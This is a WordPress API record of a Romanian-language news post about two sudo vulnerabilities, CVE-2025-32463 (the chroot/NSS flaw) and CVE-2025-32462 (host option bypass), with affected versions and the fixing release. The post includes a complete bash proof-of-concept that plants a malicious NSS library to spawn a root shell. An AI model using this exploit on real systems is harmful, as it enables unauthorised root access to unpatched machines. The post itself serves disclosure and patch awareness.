{"id":138584,"date":"2025-07-01T17:11:57","date_gmt":"2025-07-01T15:11:57","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimosti-v-utilite-sudo-pozvolyayushhie-poluchit-prava-root-v-sisteme"},"modified":"2025-07-01T17:11:57","modified_gmt":"2025-07-01T15:11:57","slug":"uyazvimosti-v-utilite-sudo-pozvolyayushhie-poluchit-prava-root-v-sisteme","status":"publish","type":"post","link":"https:\/\/prohoster.info\/ro\/blog\/news\/uyazvimosti-v-utilite-sudo-pozvolyayushhie-poluchit-prava-root-v-sisteme","title":{"rendered":"Vulnerabilit\u0103\u021bi \u00een utilitarul sudo care permit ob\u021binerea drepturilor de root \u00een sistem.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

\u00cen pachetul sudo, utilizat pentru a organiza execu\u021bia comenzilor \u00een numele altor utilizatori, a fost descoperit\u0103 o vulnerabilitate (CVE-2025-32463) care permite oric\u0103rui utilizator f\u0103r\u0103 privilegii s\u0103 execute cod cu drepturi de root, chiar dac\u0103 utilizatorul nu este men\u021bionat \u00een configura\u021bia sudoers. Distribu\u021biile afectate sunt cele care folosesc fi\u0219ierul de configurare \/etc\/nsswitch.conf, de exemplu, exploatarea vulnerabilit\u0103\u021bii a fost demonstrat\u0103 \u00een Ubuntu 24.04 \u0219i Fedora 41. <\/p>\n

Vulnerabilitatea se manifest\u0103 \u00een configura\u021bia implicit\u0103 \u0219i este confirmat\u0103 \u00een versiunile sudo de la 1.9.14 la 1.9.17 (poten\u021bial afecteaz\u0103 toate versiunile \u00eencep\u00e2nd cu 1.8.33). Problema a fost rezolvat\u0103 \u00een actualizarea sudo 1.9.17p1. Verifica\u021bi starea noii versiuni a pachetului sau a remedierii \u00een distribu\u021biile urm\u0103toare (dac\u0103 pagina nu este disponibil\u0103, \u00eenseamn\u0103 c\u0103 dezvoltatorii distribu\u021biei nu au \u00eenceput s\u0103 abordeze problema): Debian, Ubuntu, Fedora, SUSE\/openSUSE, RHEL, Gentoo \u0219i Arch (1, 2). <\/p>\n

Problema este cauzat\u0103 de faptul c\u0103, atunci c\u00e2nd se aplic\u0103 op\u021biunea «-R» («—chroot») pentru a rula comenzi \u00eentr-un mediu chroot cu un director r\u0103d\u0103cin\u0103 selectat de utilizator, fi\u0219ierul \/etc\/nsswitch.conf este \u00eenc\u0103rcat \u00een contextul noului director r\u0103d\u0103cin\u0103 \u0219i nu al directorului de sistem. Deoarece utilizatorul poate folosi propriul s\u0103u director ca director r\u0103d\u0103cin\u0103 pentru chroot, acesta poate plasa fi\u0219ierul de configura\u021bie nsswitch.conf \u00een acesta. Control\u00e2nd fi\u0219ierul \u00eenc\u0103rcat de subsistemul NSS (Name Service Switch) \/etc\/nsswitch.conf, utilizatorul poate ad\u0103uga \u00een acesta set\u0103ri care duc la apelarea de handleri suplimentari. Astfel de handleri sunt \u00eenc\u0103rca\u021bi de NSS sub form\u0103 de biblioteci partajate, care pot fi de asemenea plasate \u00een directorul controlat de utilizator. \u00cenlocuind biblioteca sa, utilizatorul poate ob\u021bine executarea de cod din aceasta cu drepturi root, deoarece procesarea NSS se realizeaz\u0103 \u00eenainte de a fi resetate privilegiile. <\/p>\n

Exemplu de exploat: #!\\\/bin\\\/bash STAGE=$(mktemp -d \\\/tmp\\\/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c<<EOF #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir(«\\\/»); execl(«\\\/bin\\\/bash», «\\\/bin\\\/bash», NULL); } EOF mkdir -p woot\\\/etc libnss_ echo «passwd: \\\/woot1337» > woot\\\/etc\\\/nsswitch.conf cp \\\/etc\\\/group woot\\\/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_\\\/woot1337.so.2 woot1337.c echo «woot!» sudo -R woot woot rm -rf ${STAGE?} <\/p>\n

\u00cen versiunea sudo 1.9.17p1 a fost remediat\u0103 \u0219i o alt\u0103 vulnerabilitate (CVE-2025-32462), care permitea executarea de comenzi cu privilegii de root, dar care se manifesta doar \u00een configura\u021biile sudoers, unde parametrul «host» era setat pe o valoare diferit\u0103 de ALL sau de numele gazdei curente. Vulnerabilitatea a fost cauzat\u0103 de o eroare, prin care op\u021biunea «-h» («—host») a ac\u021bionat nu doar \u00een combina\u021bie cu op\u021biunea «-l» («—list») pentru a afi\u0219a privilegiile legate de gazd\u0103, ci \u0219i atunci c\u00e2nd se rulau comenzi. Astfel, utilizatorul putea specifica oricare gazd\u0103 atunci c\u00e2nd apela sudo, ocolind restric\u021biile regulilor sudoers legate de numele gazdei. <\/p>\n

Pentru a efectua atacul, utilizatorul trebuie s\u0103 fie men\u021bionat \u00een sudoers, de exemplu, dac\u0103 \u00een set\u0103ri este specificat «testuser testhost = ALL», atunci utilizatorul «testuser» putea specifica «sudo -h testhost» \u0219i putea rula comenzi cu privilegii de root pe orice gazd\u0103, nu doar pe gazda testhost. Configura\u021biile cu set\u0103rile tip «testuser ALL = ALL» sau f\u0103r\u0103 reguli explicite pentru utilizatorul specific nu sunt afectate de vulnerabilitate.
\n
Sursa: opennet.ro<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 \u043f\u0430\u043a\u0435\u0442\u0435 sudo, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u043e\u043c \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-32463), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043b\u044e\u0431\u043e\u043c\u0443 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442 \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 sudoers. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 \u0444\u0430\u0439\u043b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \/etc\/nsswitch.conf, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0432 Ubuntu 24.04 \u0438 Fedora 41. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043f\u043e […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-138584","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Vulnerabilit\u0103\u021bi \u00een utilitarul sudo, care permit ob\u021binerea de drepturi de root \u00een sistem | ProHoster","description":"\u00cen pachetul sudo, utilizat pentru a permite executarea comenzilor \u00een numele altor utilizatori, a fost identificat\u0103 o vulnerabilitate (CVE-2025-32463) care permite oric\u0103rui utilizator f\u0103r\u0103 privilegii s\u0103 execute cod cu drepturi de root.","canonical_url":"https:\/\/prohoster.info\/ro\/blog\/news\/uyazvimosti-v-utilite-sudo-pozvolyayushhie-poluchit-prava-root-v-sisteme","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"ro_RO","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 sudo, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 | ProHoster","og:description":"\u0412 \u043f\u0430\u043a\u0435\u0442\u0435 sudo, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u043e\u043c \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-32463), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043b\u044e\u0431\u043e\u043c\u0443 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root.","og:url":"https:\/\/prohoster.info\/ro\/blog\/news\/uyazvimosti-v-utilite-sudo-pozvolyayushhie-poluchit-prava-root-v-sisteme","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2025-07-01T15:11:57+00:00","article:modified_time":"2025-07-01T15:11:57+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"138584","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":"2026-01-23 13:36:20","breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2026-01-23 13:36:20","updated":"2026-01-23 13:36:20","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/posts\/138584","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/comments?post=138584"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/posts\/138584\/revisions"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/media?parent=138584"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/categories?post=138584"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/tags?post=138584"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}